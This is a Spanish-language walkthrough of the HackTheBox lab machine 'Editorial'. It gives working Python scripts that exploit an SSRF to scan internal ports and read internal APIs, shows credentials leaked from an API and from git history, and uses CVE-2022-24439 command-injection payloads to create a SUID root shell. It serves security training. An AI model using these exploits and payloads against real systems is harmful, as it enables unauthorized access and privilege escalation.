Editorial – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

‘Editorial’ Avatar


Resumen Link to heading

“Editorial” es una máquina de dificultad fácil de la plataforma HackTheBox. El servidor vĂ­ctima está corriendo una página web. Esta página es vulnerable a Server-Side Request Forgery (SSRF), lo cual permite exponer endpoints internos de la máquina vĂ­ctima. Uno de estos endpoints filtra credenciales para un usuario dentro de la máquina vĂ­ctima, lo que nos permite ganar acceso inicial a Ă©sta. Ya dentro de la máquina vĂ­ctima, somos capaces de encontrar un repositorio de git el cual filtra credenciales para un segundo usuario. Este segundo usuario puede correr un script de Python con sudo, el cual utiliza una librerĂ­a de git vulnerable a CVE-2022-24439, lo cual nos permite inyectar comandos y ejecutarlos como un usuario privilegiado; ganando asĂ­ acceso total a la máquina vĂ­ctima.


User / Usuario Link to heading

Empezando con un escaneo con Nmap sobre la máquina víctima para ver qué puertos TCP tiene abiertos, tenemos 2 puertos abiertos: 22 SSH y 80 HTTP:

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.20

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:42 -04
Initiating SYN Stealth Scan at 20:42
Scanning 10.10.11.20 [65535 ports]
Discovered open port 22/tcp on 10.10.11.20
Discovered open port 80/tcp on 10.10.11.20
Completed SYN Stealth Scan at 20:43, 18.11s elapsed (65535 total ports)
Nmap scan report for 10.10.11.20
Host is up, received user-set (0.17s latency).
Scanned at 2024-07-13 20:42:45 -04 for 18s
Not shown: 63302 closed tcp ports (reset), 2231 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.29 seconds
           Raw packets sent: 88944 (3.914MB) | Rcvd: 77451 (3.098MB)

Revisando las versiones/detalles de estos puertos tenemos:

❯ sudo nmap -sVC -p22,80 10.10.11.20

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:44 -04
Nmap scan report for 10.10.11.20
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Del output del escaneo puedo ver que el sitio HTTP redirige al dominio http://editorial.htb, de manera que agregamos este dominio a nuestro archivo /etc/hosts ejecutando en una terminal:

❯ echo '10.10.11.20 editorial.htb' | sudo tee -a /etc/hosts

Una vez agregado, podemos adicionalmente revisar el sitio con la herramienta WhatWeb. Aunque el escaneo no muestra nada interesante fuera de que el servidor está corriendo con Nginx:

❯ whatweb -a 3 http://editorial.htb

http://editorial.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.20], Title[Editorial Tiempo Arriba], X-UA-Compatible[IE=edge], nginx[1.18.0]

Visitando http://editorial.htb en un navegador de internet como Firefox muestra una página web:

Editorial 1

Luego de inspeccionar la página, podemos ver que hay un botĂłn Publish with us (“Publica con nosotros”) el cual redirige a http://editorial.htb/upload, donde podemos ver que podemos poner data para subir un libro:

Editorial 2

Noto que podemos pasar tanto un archivo como una url. Si pasamos un link como http://10.10.16.9:8080/test (luego de empezar un listener con netcat en el puerto 8080 ejecutando nc -lvnp 8080, donde 10.10.16.9 es nuestra IP de atacante) notamos que la página muestar un mensaje:

Editorial

✍️ Request Submited! 🔖 We'll reach your book. Let us read and explore your idea and soon you will have news 📚

De manera que sumo que la peticiĂłn ha sido subida/ejecutada. Pero no recibo nada en el listener con netcat.

Obtenemos algo en nuestro listener de netcat si en lugar de clickear en Send book info clickeamos en Preview en la parte inferior derecha. Poniendo como url, por ejemplo, http://10.10.16.9:8080/test y luego de clickear en Preview muestra algo en mi listener esta vez:

❯ nc -lvnp 8080

listening on [any] 8080 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.20] 40898
GET /test HTTP/1.1
Host: 10.10.16.9:8080
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Interceptamos con Burpsuite la peticiĂłn enviada al clickear en Preview y la enviamos al repeater Repeater. Tenemos asĂ­ la peticiĂłn HTTP:

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------1575085794932368148323839479
Content-Length: 359
Origin: http://editorial.htb
DNT: 1
Connection: close
Referer: http://editorial.htb/upload

-----------------------------1575085794932368148323839479
Content-Disposition: form-data; name="bookurl"

http://10.10.16.9:8000
-----------------------------1575085794932368148323839479
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------1575085794932368148323839479--

Editorial 4

Y obtenemos la respuesta:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 13 Jul 2024 01:11:40 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 61

/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg

Donde tenemos una url en esta respuesta:

http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg

Si visitamos esta url podemos ver una simple imagen bajo el texto Book information:

Editorial 5

Para revisar si este servicio es vulnerable ante un Server-Side Request Forgery (SSRF) creamos un simple script en Python el cual revisa el length/tamaño de la respuesta recibida cuando hacemos un request a 127.0.0.1 a diferentes puertos. Esperamos que si algĂşn puerto interno está abierto, Ă©ste devuelva una respuesta con un tamaño diferente al por “defecto” (el cual es 61). El script es:

#!/usr/bin/python3
import requests
from multiprocessing import Pool

burp0_url = "http://editorial.htb/upload-cover"
burp0_headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "multipart/form-data; boundary=---------------------------1575085794932368148323839479",
    "Origin": "http://editorial.htb",
    "DNT": "1",
    "Connection": "close",
    "Referer": "http://editorial.htb/upload"
}
exclude_length = 61

def check_port(port):
    burp0_data = (
        f"-----------------------------1575085794932368148323839479\r\n"
        f"Content-Disposition: form-data; name=\"bookurl\"\r\n\r\n"
        f"http://127.0.0.1:{port}\r\n"
        f"-----------------------------1575085794932368148323839479\r\n"
        f"Content-Disposition: form-data; name=\"bookfile\"; filename=\"\"\r\n"
        f"Content-Type: application/octet-stream\r\n\r\n\r\n"
        f"-----------------------------1575085794932368148323839479--\r\n"
    )
    
    try:
        r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=30)
        if 'Content-Length' in r.headers:
            size = int(r.headers['Content-Length'])
        else:
            size = len(r.content)
        
        if size != exclude_length:
            print(f"[+] Port {port} returns size {size} (different from average size {exclude_length})")
    except requests.exceptions.RequestException as e:
        print(f"[-] Port {port} raised an exception: {e}")

if __name__ == "__main__":
    with Pool(processes=30) as pool:
        pool.map(check_port, range(1, 65536))

Luego de ejecutarlo y esperar obtenemos algo:

❯ python3 SSRF_explorer_multiprocessing.py

[+] Port 5000 returns size 51 (different from average size 61)

El puerto 5000 retorna algo diferente.

Si visitamos http://127.0.0.1:5000 el Ă­cono al lado de la barra donde podemos poner la url desaparece:

Editorial 6

Revisamos qué es lo que se devuelve de esta respuesta al apuntar al puerto interno 5000 (la cual es una url sin un archivo .jpeg) y el sitio web nos devuelve una url. Por ejemplo, en mi caso obtengo un directorio static/uploads/b077f08e-d63d-4b99-b117-e017a9b797bb. Si revisamos este sitio web con cURL éste muestra:

❯ curl -s http://editorial.htb/static/uploads/b077f08e-d63d-4b99-b117-e017a9b797bb

{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

Tenemos algunos endpoints de API expuestos. Recordar estos endpoints, ya que son varios.

Para resumir, de momento hemos encontrado lo siguiente:

  1. El sitio web es vulnerable a Server-Side Request Forgery, con el puerto 5000 internamente expuesto.
  2. Cuando hacemos una petición al servicio expuesto interno (http://127.0.0.1:5000), éste también crea endpoints de API públicos en el servidor. Estos endpoints públicos están temporalmente disponibles en la ruta http://editorial.htb/<endpoint-temporal>.
  3. Podemos tratar de acceder a estos endpoints para extraer informaciĂłn.

Para esto creamos nuevamente un script de Python el cual realiza auitomatiza todos los pasos descritos anteriormente. Llamaré este script API_requests.py. Lo ejecutamos para ver el contenido de los endpoints expuestos (los cuales indicamos más arriba que había que recordar):

#!/usr/bin/python3
import requests
import argparse


def get_arguments():
    parser = argparse.ArgumentParser(description='Get info in webpage.')
    
    # Add arguments
    parser.add_argument('-e' ,'--endpoint', type=str, help='Endpoint to make the request', required=True)
    
    return parser.parse_args()


def check_endpoint(endpoint: str)->str:
    if endpoint.startswith('/'):
        return endpoint
    return '/'+endpoint


def main()->None:
    # Get arguments from user
    args = get_arguments()
    # Set info for HTTP Request
    burp0_url = "http://editorial.htb/upload-cover"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "multipart/form-data; boundary=---------------------------1575085794932368148323839479", "Origin": "http://editorial.htb", "DNT": "1", "Connection": "close", "Referer": "http://editorial.htb/upload"}
    url_request = f'http://127.0.0.1:5000{check_endpoint(args.endpoint)}'
    print(f"[+] Making request to {url_request!r}...")
    burp0_data = f"-----------------------------1575085794932368148323839479\r\nContent-Disposition: form-data; name=\"bookurl\"\r\n\r\n{url_request}\r\n-----------------------------1575085794932368148323839479\r\nContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------1575085794932368148323839479--\r\n"
    r_post = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    url = r_post.text.strip()
    request_url = f'http://editorial.htb/{url}'
    print(f"[+] Attempting request to {request_url!r}...")
    r_get = requests.get(request_url, headers=burp0_headers)
    print("[+] Output is:")
    print(r_get.text)


if __name__ == "__main__":
    main()

Ejecutamos este script y funciona. Si, por ejemplo, vemos qué es lo que devuelve el endpoint de la API /api/latest/metadata/messages/coupons obtenemos:

❯ python3 API_request.py -e '/api/latest/metadata/messages/coupons'

[+] Making request to 'http://127.0.0.1:5000/api/latest/metadata/messages/coupons'...
[+] Attempting request to 'http://editorial.htb/static/uploads/52e8c6f5-0a68-4de1-8dfc-88037cc165e3'...
[+] Output is:

[{"2anniversaryTWOandFOURread4":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"12/02/2024"}},{"frEsh11bookS230":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"31/11/2023"}}]

Obtenemos algo interesante al consultar el endpoint /api/latest/metadata/messages/authors:

❯ python3 API_request.py -e '/api/latest/metadata/messages/authors'

[+] Making request to 'http://127.0.0.1:5000/api/latest/metadata/messages/authors'...
[+] Attempting request to 'http://editorial.htb/static/uploads/06be6adb-5a83-46fc-954f-b63366e3d8a4'...
[+] Output is:

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

El mensaje contiene credenciales: dev:dev080217_devAPI!@.

Revisamos si estas estas credenciales funcionan por medio de SSH con la herramienta NetExec:

❯ netexec ssh 10.10.11.20 -u dev -p 'dev080217_devAPI!@'

SSH         10.10.11.20     22     10.10.11.20      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
SSH         10.10.11.20     22     10.10.11.20      [+] dev:dev080217_devAPI!@  (non root) Linux - Shell access!

y funcionan.

Ergo, nos logueamos en la máquina víctima a través de SSH con estas credenciales:

❯ sshpass -p 'dev080217_devAPI!@' ssh -o stricthostkeychecking=no dev@10.10.11.20

<SNIP>

dev@editorial:~$ whoami

dev

Podemos obtener la flag de usuario.


Root Link to heading

Mirando qué directorios/archivos tenemos disponibles en /home/dev podemos ver un directorio llamado apps:

dev@editorial:~$ ls -la

total 32
drwxr-x--- 4 dev  dev  4096 Jun  5 14:36 .
drwxr-xr-x 4 root root 4096 Jun  5 14:36 ..
drwxrwxr-x 3 dev  dev  4096 Jun  5 14:36 apps
lrwxrwxrwx 1 root root    9 Feb  6  2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 dev  dev  3771 Jan  6  2022 .bashrc
drwx------ 2 dev  dev  4096 Jun  5 14:36 .cache
-rw-r--r-- 1 dev  dev   807 Jan  6  2022 .profile
-rw-r----- 1 root dev    33 Jul 13 00:42 user.txt

dev@editorial:~$ cd apps

dev@editorial:~/apps$ ls -la

total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun  5 14:36 .git

Este directorio contiene otro directorio .git. Podemos entonces revisar los commits previos de este proyecto:

dev@editorial:~/apps$ git log -n 10

commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app

Eventualmente, podemos ver informaciĂłn importante en uno de los commits:

dev@editorial:~/apps$ git diff 1e84a036b2f33c59e2390730699a488c65643d28

diff --git a/app_api/app.py b/app_api/app.py
deleted file mode 100644
index 61b786f..0000000
--- a/app_api/app.py
+++ /dev/null
<SNIP>
        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYou
r login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as pos
sible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name
+ " Team."
-    }) # TODO: replace dev credentials when checks pass
<SNIP>

Tenemos nuevas credenciales disponibles: prod:080217_Producti0n_2023!@

Podemos ver un mensaje similar al cual había filtrado las credenciales para el usuario dev, pero esta vez para un usuario llamado prod. Reviso si este usuario existe en la máquina víctima:

dev@editorial:~/apps$ cat /etc/passwd | grep "prod"

prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash

Dado que existe, pivoteamos internamente a este usuario utilizando las credenciales halladas:

dev@editorial:~/apps$ su prod

Password: 080217_Producti0n_2023!@

prod@editorial:/home/dev/apps$ whoami

prod

Revisamos qué es lo que puede correr este nuevo usuario con sudo:

prod@editorial:/home/dev/apps$ sudo -l

Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

Podemos ejecutar con sudo un script con python3 llamado /opt/internal_apps/clone_changes/clone_prod_change.py y luego proveer un argumento extra. Revisando el script que podemos ejecutar dentro de la máquina víctima, este es:

#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

La parte interesante/inusual es la librería git. Además, el script está usando el argumento que le damos (siendo recibido en el script como sys.argv[1]), el cual es ejecutado luego por la librería.

Buscando por vulnerabilidades para esta librería encontramos este post donde muestran cómo esta librería se puede utilizar para ejecutar comandos junto con su issue de Github a esta vulnerabilidad. Esta vulnerabilidad está clasificada como CVE-2022-24439 y afectan versiones de la librería gitpython hasta la 3.1.30. Si revisamos la versión disponible de la librería git en la máquina víctima renemos:

prod@editorial:/home/dev/apps$ python3 -c 'import git; print(git.__version__)'

3.1.29

Esta versiĂłn deberĂ­a de ser vulnerable.

El ejemplo dado en el issue de Github es:

<gitpython::clone> 'ext::sh -c touch% /tmp/pwned'

Adaptamos entonces este comando con sudo. Crearé una copia del binario /bin/bash y, a aquella copia, le asignamos permisos SUID. Primero, probamos clonando /bin/bash a un archivo llamado /tmp/gunzf0x:

prod@editorial:/home/dev/apps$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/gunzf0x'

Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c cp% /bin/bash% /tmp/gunzf0x new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'

prod@editorial:/home/dev/apps$ ls -la /tmp

total 1412
drwxrwxrwt 12 root root    4096 Jul 13 03:10 .
drwxr-xr-x 18 root root    4096 Jun  5 14:54 ..
drwxrwxrwt  2 root root    4096 Jul 13 00:37 .font-unix
-rwxr-xr-x  1 root root 1396520 Jul 13 03:10 gunzf0x
<SNIP>

Revisando el directorio /tmp vemos que la copia ha sido creada y, además, el propietario de ésta es el usuario root (de manera que el comando copiando el binario /bin/bash fue ejecutado por este usuario).

Tal cual mencionamos, ahora le asignamos permisos SUID a la copia:

prod@editorial:/home/dev/apps$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% 4755% /tmp/gunzf0x'

Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
<SNIP>

prod@editorial:/home/dev/apps$ ls -la /tmp

total 1412
drwxrwxrwt 12 root root    4096 Jul 13 03:10 .
drwxr-xr-x 18 root root    4096 Jun  5 14:54 ..
drwxrwxrwt  2 root root    4096 Jul 13 00:37 .font-unix
-rwsr-xr-x  1 root root 1396520 Jul 13 03:10 gunzf0x
<SNIP>

Tal cual podemos ver en -rwsr-xr-x, la s indica que este tiene el permiso 4755 y, por ende, puede ser ejecutada con permisos del propietario.

Finalmente corremos la copia con la flag -p, ejecutándola así como el dueño de ésta (que es root):

prod@editorial:/home/dev/apps$ /tmp/gunzf0x -p

gunzf0x-5.1# whoami

root

Somos asĂ­ el usuario root. Podemos leer la flag de este usuario en el directorio /root.

~Happy Hacking